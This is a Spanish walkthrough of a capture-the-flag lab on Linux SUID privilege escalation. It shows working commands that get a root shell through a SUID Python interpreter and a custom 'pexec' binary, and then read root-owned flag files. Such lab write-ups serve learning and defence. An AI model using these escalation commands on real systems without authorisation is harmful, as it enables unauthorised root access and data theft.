

Iniciemos el lab `suid_multivector`

```
Bienvenido a WHOAMI-LABS.COM. Laboratorio: SUID-MultiVector.
Aprende, simula, escala. Sin burocracia.

[✓] Imagen cargada correctamente.
[*] Iniciando laboratorio ...
[✓] Laboratorio iniciado correctamente.

[✓] Laboratorio desplegado correctamente.

IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: suid2025
Comando de conexión: ssh hacker@172.17.0.2

Objetivo: Encuentra y explota múltiples vectores SUID para obtener 3 flags
Tip: Lee GUIA.txt para entender los conceptos y técnicas

Presiona Ctrl+C cuando quieras detener el laboratorio.
```

En esta ocasión vemos que se nos pide explotar los binarios SUID y buscar tres banderas, como tip tenemos que leer el archivo GUIA.txt

Comenzaremos iniciando sesión ssh con las credenciales proporcionadas y verificando el nivel de permisos que tenemos con dicha cuenta, también miraremos que archivos hay en el directorio donde nos encontramos.

```

Laboratorio: SUID - Múltiples Vectores
Objetivo: Encuentra y explota 3 flags
Usuario: hacker | Password: suid2025

hacker@6c7994d2dbf2:~$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
hacker@6c7994d2dbf2:~$ pwd
/home/hacker
hacker@6c7994d2dbf2:~$ ls -al
total 32
drwxr-x— 1 hacker hacker 4096 Jun 14 01:47 .
drwxr-xr-x 1 root root 4096 Dec 13 2025 ..
-rw-r--r-- 1 hacker hacker 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Jan 6 2022 .bashrc
drwx— 2 hacker hacker 4096 Jun 14 01:47 .cache
-rw-r--r-- 1 hacker hacker 807 Jan 6 2022 .profile
-rw-r--r-- 1 hacker hacker 1418 Dec 13 2025 GUIA.txt
hacker@6c7994d2dbf2:~$

```

En el directorio donde nos encontramos, vemos que está el archivo GUIA.txt que nos mencionan en el tip del lab, miremos su contenido

```

hacker@6c7994d2dbf2:~$ cat GUIA.txt
=====
LABORATORIO: SUID - MÚLTIPLES VECTORES
=====

OBJETIVO: Encontrar y explotar 3 flags diferentes

¿QUÉ SON LOS PRIVILEGIOS SUID?
=====
SUID (Set User ID) es un permiso especial que permite
ejecutar un binario con los privilegios del PROPIETARIO
del archivo, no del usuario que lo ejecuta.

DETECCIÓN DE SUID:
=====
La 's' en la posición del permiso de ejecución del
propietario indica SUID:
-rwsr-xr-x ← La 's' indica SUID
  ^

COMANDOS ÚTILES:
=====
# Buscar todos los binarios SUID:
find / -perm -4000 -type f -ls 2>/dev/null

# Buscar binarios SUID (formato corto):
find / -perm -4000 2>/dev/null

# Buscar binarios GUID:
find / -perm -2000 2>/dev/null

```

```

# Buscar binarios SUID (formato corto):
find / -perm -4000 2>/dev/null

# Buscar binarios GUID:
find / -perm -2000 2>/dev/null

VECTORES DE EXPLOTACIÓN:
=====
1. PYTHON CON SUID:
  Busca python3 con SUID y ejecuta:
  python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

2. BINARIOS PERSONALIZADOS:
  Busca binarios custom en /usr/local/bin/
  Analízalos con: strings, ltrace, file
  Ejemplo: ./pexec /bin/bash -p

3. GTFOBINS:
  Visita: https://gtfobins.github.io/
  Busca métodos de explotación para binarios SUID

PISTAS:
=====
- Hay 3 flags en /root/
- Flag 1: Usando Python con SUID
- Flag 2: Usando binario pexec
- Flag Final: Obten shell de root y lee flag_final.txt

```

¡Buena suerte!

```
hacker@6c7994d2dbf2:~$ █
```

Procedemos a buscar binarios SUID

```

hacker@6c7994d2dbf2:~$ find / -perm -4000 -type f -ls 2>/dev/null
3187486   56 -rwsr-xr-x  1 root    root      55680 Apr  9  2024 /usr/bin/su
3187411   40 -rwsr-xr-x  1 root    root      40496 Feb  6  2024 /usr/bin/newgrp
3187348   72 -rwsr-xr-x  1 root    root      72072 Feb  6  2024 /usr/bin/gpasswd
3187422   60 -rwsr-xr-x  1 root    root      59976 Feb  6  2024 /usr/bin/passwd
3187280   72 -rwsr-xr-x  1 root    root      72712 Feb  6  2024 /usr/bin/chfn
3187406   48 -rwsr-xr-x  1 root    root      47488 Apr  9  2024 /usr/bin/mount
3187286   44 -rwsr-xr-x  1 root    root      44808 Feb  6  2024 /usr/bin/chsh
3187512   36 -rwsr-xr-x  1 root    root      35200 Apr  9  2024 /usr/bin/umount
3539835  228 -rwsr-xr-x  1 root    root     232416 Jun 25  2025 /usr/bin/sudo
3557027  5796 -rwsr-xr-x  1 root    root     5933576 Dec 13  2025 /usr/local/bin/python3_suid
3557017   16 -rwsr-xr-x  1 root    root      16272 Dec 13  2025 /usr/local/bin/pexec
3542751  332 -rwsr-xr-x  1 root    root     338536 Apr 11  2025 /usr/lib/openssh/ssh-keysign
3542524   36 -rwsr-xr--  1 root    messagebus 35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
hacker@6c7994d2dbf2:~$ █

```

Probaremos el vector de explotación con Python

```
hacker@6c7994d2dbf2:~$ /usr/local/bin/python3_suid -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

Aquí vemos que nos cambió el prompt de la terminal, verifiquemos si logramos obtener acceso como root

```
hacker@6c7994d2dbf2:~$ /usr/local/bin/python3_suid -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

```
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
# whoami
root
# pwd
/home/hacker
# ls -al /root/
total 28
drwx----- 1 root root 4096 Dec 13 2025 .
drwxr-xr-x 1 root root 4096 Jun 14 01:39 ..
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw----- 1 root root 33 Dec 13 2025 flag1.txt
-rw----- 1 root root 30 Dec 13 2025 flag2.txt
-rw----- 1 root root 38 Dec 13 2025 flag_final.txt
#
```

Como vemos hemos obtenido acceso como root y encontramos las tres banderas.

Siguiendo las indicaciones, como ya usamos el vector con Python, veremos el contenido de la primera bandera.

```
# cat /root/flag1.txt
FLAG{SU1D[REDACTED]}
#
```

Ahora explotaremos el segundo vector para poder ver la segunda bandera

```
hacker@6c7994d2dbf2:~$ /usr/local/bin/pexec /bin/bash -p
[*] Ejecutando: /bin/bash -p
root@6c7994d2dbf2:~#
```

Aquí vemos que también nos cambia el prompt de la terminal y nos muestra que estamos conectados como root, vamos a verificar el acceso

```
root@6c7994d2dbf2:~# id
uid=0(root) gid=0(root) groups=0(root),1000(hacker)
root@6c7994d2dbf2:~# whoami
root
root@6c7994d2dbf2:~# pwd
/home/hacker
root@6c7994d2dbf2:~# cat /root/flag2.txt
FLAG{P3X3C[REDACTED]}
root@6c7994d2dbf2:~#
```

Ahora solo nos resta usar el sitio GTFOBINS para ver si podemos explotar alguno de los binarios SUID encontrados anteriormente

De todos los binarios SUID encontrados, el más peligroso es el de Python ya que nos da root total sin restricciones, como ya obtuvimos acceso al shell como root para leer la primera bandera, podemos mandar a leer directamente la bandera final.

```
hacker@6c7994d2dbf2:~$ /usr/local/bin/python3_suid -c 'print(open("/root/flag_final.txt").read())'  
FLAG{M4ST3R[REDACTED]}  
  
hacker@6c7994d2dbf2:~$
```